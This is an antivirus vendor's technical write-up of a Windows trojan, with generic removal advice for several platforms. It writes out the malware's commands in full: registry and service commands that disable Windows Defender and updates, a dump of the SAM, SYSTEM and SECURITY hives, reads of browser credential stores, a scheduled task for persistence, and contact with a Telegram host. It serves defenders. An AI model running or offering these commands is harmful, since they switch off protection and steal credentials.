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Trojan.Siggen32.58862
Added to the Dr.Web virus database:
2026-06-16
Virus description added:
2026-06-17
Technical Information
To ensure autorun and distribution
Creates the following files on removable media
<Drive name for removable media>:\system_recovery_tool.exe
<Drive name for removable media>:\open files.lnk
<Drive name for removable media>:\system volume information.lnk
<Drive name for removable media>:\autorun.inf
<Drive name for removable media>:\desktop.ini
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
Windows Update
Windows Defender
adds antivirus exclusion:
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAUwBlA...
Executes the following
'<SYSTEM32>\taskkill.exe' /f /im MsMpEng.exe
'<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
Patches code
in AMSI dll
fsqh.exe process, Amsi.dll module
in NTDLL dll
fsqh.exe process, ntdll.dll module
Searches for registry branches where third party applications store passwords
[HKCU\Software\SimonTatham\PuTTY\Sessions]
[HKCU\Software\Martin Prikryl\WinSCP 2\Sessions]
Reads files which store third party applications passwords
%HOMEPATH%\desktop\1189.jpg
%HOMEPATH%\desktop\2.jpeg
%HOMEPATH%\desktop\2.jpg
%HOMEPATH%\desktop\210252809.jpeg
%HOMEPATH%\desktop\3.jpg
%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
%HOMEPATH%\desktop\contoso.cer
%HOMEPATH%\desktop\contosoroot.cer
%HOMEPATH%\desktop\contosoroot_1.cer
%HOMEPATH%\desktop\dashborder_120.bmp
%HOMEPATH%\desktop\dashborder_96.bmp
%HOMEPATH%\desktop\join.avi
%HOMEPATH%\desktop\lisp_success.doc
%HOMEPATH%\desktop\pushkin.jpg
%HOMEPATH%\desktop\sdkfailsafeemulator.cer
%HOMEPATH%\desktop\sdksampleprivdeveloper.cer
%HOMEPATH%\desktop\sdszfo.docx
%HOMEPATH%\desktop\split.avi
%HOMEPATH%\desktop\tree_view.html
%HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\microsoft\edge\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\microsoft\edge\user data\default\web data
Network activity
TCP
HTTP GET requests
http://12#.#.0.1:9223/json
Other
'1.#.1.1':443
'localhost':49697
'localhost':49698
UDP
DNS ASK ap#.##legram.org
DNS ASK google.com
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Google\Chrome\User Data'
Executes the following
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJgAgA...
'<SYSTEM32>\sc.exe' config WinDefend start= disabled
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
'<SYSTEM32>\sc.exe' stop WinDefend
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v TamperProtection /t REG_DWORD /d 0 /f
'<SYSTEM32>\sc.exe' stop SecurityHealthService
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ForceDefenderPassiveMode /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config Sense start= disabled
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' stop Sense
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
'<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
'<SYSTEM32>\sc.exe' stop WdNisSvc
'<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsDefender /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
'<SYSTEM32>\reg.exe' delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsDefender /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\schtasks.exe' /Change /TN Microsoft\Windows\UpdateOrchestrator\Reboot /Disable
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
'<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableArchiveScanning /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableEmailScanning /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config wuauserv start= disabled
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIntrusionPreventionSystem /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config bits start= disabled
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableScheduledScan /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableRemovableDriveScanning /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c netsh wlan show profiles
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableRestorePoint /t REG_DWORD /d 1 /f
'<SYSTEM32>\netsh.exe' wlan show profiles
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v ForceUpdateFromMU /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdateOnStartupWithoutEngine /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Network Protection" /v EnableNetworkProtection /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v UILockdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v ShellSmartScreenLevel /t REG_SZ /d Off /f
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JgAgAHIAZQBnAC4AZQB4AGUAIABzAGEAdgBlACAASABLAEwATQBcAFMAQQBNACAAIgBDADoAXABVAHMAZQByAHMAXAB1AHMAZQByAFwAQQBwAHAARABhA...
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --remote-debugging-port=9223 --remote-allow-origins=* --headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --no-first-run --no-default-browser-check --disable-background-networking...
'<SYSTEM32>\reg.exe' save HKLM\SAM %TEMP%\fbd35b23eb1f41ecbcb20307c7aeb0f2\DPAPI\Hives\sam.hiv /y
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JgAgAHIAZQBnAC4AZQB4AGUAIABzAGEAdgBlACAASABLAEwATQBcAFMAWQBTAFQARQBNACAAIgBDADoAXABVAHMAZQByAHMAXAB1AHMAZQByAFwAQQBwA...
'<SYSTEM32>\reg.exe' save HKLM\SYSTEM %TEMP%\fbd35b23eb1f41ecbcb20307c7aeb0f2\DPAPI\Hives\system.hiv /y
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JgAgAHIAZQBnAC4AZQB4AGUAIABzAGEAdgBlACAASABLAEwATQBcAFMARQBDAFUAUgBJAFQAWQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAdQBzAGUAcgBcA...
'<SYSTEM32>\reg.exe' save HKLM\SECURITY %TEMP%\fbd35b23eb1f41ecbcb20307c7aeb0f2\DPAPI\Hives\security.hiv /y
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand cwBjAGgAdABhAHMAawBzACAALwBDAHIAZQBhAHQAZQAgAC8ARgAgAC8AUwBDACAATwBOAEwATwBHAE8ATgAgAC8AUgBMACAATABJAE0ASQBUAEUARAAgA...
'<SYSTEM32>\schtasks.exe' /Create /F /SC ONLOGON /RL LIMITED /TN WindowsUpdateAgent /TR \ %APPDATA%\Microsoft\Windows\WmiPrvSE.exe\ /IT
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJgAgA...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAUwBlA...' (with hidden window)
'%LOCALAPPDATA%\google\chrome\application\chrome.exe' --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --no-first-run --no-default-browser-check --disable-background-networking...' (with hidden window)
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --remote-debugging-port=9223 --remote-allow-origins=* --headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --no-first-run --no-default-browser-check --disable-background-networking...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand cwBjAGgAdABhAHMAawBzACAALwBDAHIAZQBhAHQAZQAgAC8ARgAgAC8AUwBDACAATwBOAEwATwBHAE8ATgAgAC8AUgBMACAATABJAE0ASQBUAEUARAAgA...' (with hidden window)
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
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Renew your trial license in AppGallery/on Google Pay
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